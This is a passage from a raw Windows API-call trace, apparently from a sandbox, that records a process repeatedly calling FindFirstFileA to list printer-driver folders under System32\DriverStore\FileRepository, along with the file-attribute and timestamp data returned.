lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59a23d26, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59abc2a7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59abc2a7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.470] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnnr003.inf_amd64_neutral_c07c33bfb5764bdb\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c12f09, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d055241, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d055241, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.471] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnnr003.inf_amd64_neutral_c07c33bfb5764bdb\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c12f09, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59c8532a, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59c8532a, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.488] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnnr004.inf_amd64_neutral_3319ff2548f89fd8\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e020ed, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d07b3a1, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d07b3a1, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.488] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnnr004.inf_amd64_neutral_3319ff2548f89fd8\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59e020ed, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59e7450d, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59e7450d, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.500] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnod002.inf_amd64_neutral_a10c656b6c7c053c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f7eeaf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0a1501, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0a1501, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.501] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnod002.inf_amd64_neutral_a10c656b6c7c053c\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59f7eeaf, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x59fa5010, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x59fa5010, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.507] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnok002.inf_amd64_neutral_616c1e9b7df7d5a9\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a0d5b12, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0c7662, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0c7662, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.508] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnok002.inf_amd64_neutral_616c1e9b7df7d5a9\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a0d5b12, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5a16e093, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5a16e093, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.520] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc002.inf_amd64_neutral_fdb6f2e252435905\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a22c774, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0ed7c2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0ed7c2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.521] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc002.inf_amd64_neutral_fdb6f2e252435905\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a2528d5, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5a2528d5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5a2528d5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.522] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc003.inf_amd64_neutral_47e09b7cc0d9e993\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a310fb6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d0ed7c2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d0ed7c2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.522] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc003.inf_amd64_neutral_47e09b7cc0d9e993\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a310fb6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5a310fb6, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5a310fb6, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.524] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc004.inf_amd64_neutral_bbd3435eeaf576ee\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a3cf697, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d113922, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d113922, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.525] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc004.inf_amd64_neutral_bbd3435eeaf576ee\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a3cf697, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5a3cf697, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5a3cf697, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.526] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc005.inf_amd64_neutral_31e08a1c2f933124\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a50019a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d113922, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d113922, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.527] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc005.inf_amd64_neutral_31e08a1c2f933124\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a50019a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5a5725ba, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5a5725ba, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.538] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc006.inf_amd64_neutral_7e12a60cc98d3f89\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6ef37d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d15fbe3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d15fbe3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.539] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc006.inf_amd64_neutral_7e12a60cc98d3f89\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6ef37d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5a76179e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5a76179e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.551] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc007.inf_amd64_neutral_2df575afa0f7d35f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a8922a0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d185d43, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d185d43, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.552] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc007.inf_amd64_neutral_2df575afa0f7d35f\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a8b8400, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5a92a821, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5a92a821, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.562] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc00a.inf_amd64_neutral_565c5d04cc520c48\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aa0f063, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1abea3, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1abea3, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.582] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc00a.inf_amd64_neutral_565c5d04cc520c48\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aa0f063, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5aa0f063, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5aa0f063, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.588] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc00b.inf_amd64_neutral_3338d41663aad5fa\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab19a05, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1d2004, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1d2004, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.589] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc00b.inf_amd64_neutral_3338d41663aad5fa\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ab19a05, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ab65cc5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ab65cc5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.597] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc00c.inf_amd64_neutral_53a58f4fd7d88575\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac243a7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1d2004, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1d2004, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.597] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnrc00c.inf_amd64_neutral_53a58f4fd7d88575\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ac243a7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ac4a507, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ac4a507, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.599] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsa002.inf_amd64_neutral_d9df1d04d8cbe336\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad7b009, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d1f8164, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d1f8164, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.600] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsa002.inf_amd64_neutral_d9df1d04d8cbe336\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad7b009, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5ae396eb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5ae396eb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.620] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsh002.inf_amd64_neutral_42b7a64f45c7554c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5afdc60e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d244424, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d244424, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.621] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsh002.inf_amd64_neutral_42b7a64f45c7554c\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5afdc60e, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b04ea2e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b04ea2e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.645] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnso002.inf_amd64_neutral_c3b7ce4e6f71641f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b133270, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d26a585, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d26a585, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.646] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnso002.inf_amd64_neutral_c3b7ce4e6f71641f\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b1593d0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b17f531, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b17f531, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.653] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsv002.inf_amd64_neutral_6ca80563d6148ee5\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2b0033, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d26a585, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d26a585, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.654] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsv002.inf_amd64_neutral_6ca80563d6148ee5\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b2b0033, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b3ba9d5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b3ba9d5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.666] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsv003.inf_amd64_neutral_1e0c4fbb9b11b015\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b4eb4d7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d2b6845, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d2b6845, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.667] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsv003.inf_amd64_neutral_1e0c4fbb9b11b015\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b4eb4d7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b55d8f8, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b55d8f8, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.680] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsv004.inf_amd64_neutral_fc4526bbfbd5feb1\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b6b455a, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d2dc9a5, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d2dc9a5, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.681] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnsv004.inf_amd64_neutral_fc4526bbfbd5feb1\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b6da6ba, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b74cadb, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x5b74cadb, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0147.699] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnts002.inf_amd64_neutral_ad2aa922aa11af2c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b83131d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x6d302b06, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x6d302b06, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0147.700] FindFirstFileA (in: lpFileName="C:\\Windows\\System32\\DriverStore\\FileRepository\\prnts002.inf_amd64_neutral_ad2aa922aa11af2c\\Amd64\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b83131d, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5b83131d, ftLastAccessTime.dwHighDateTime=0x1ca0444, 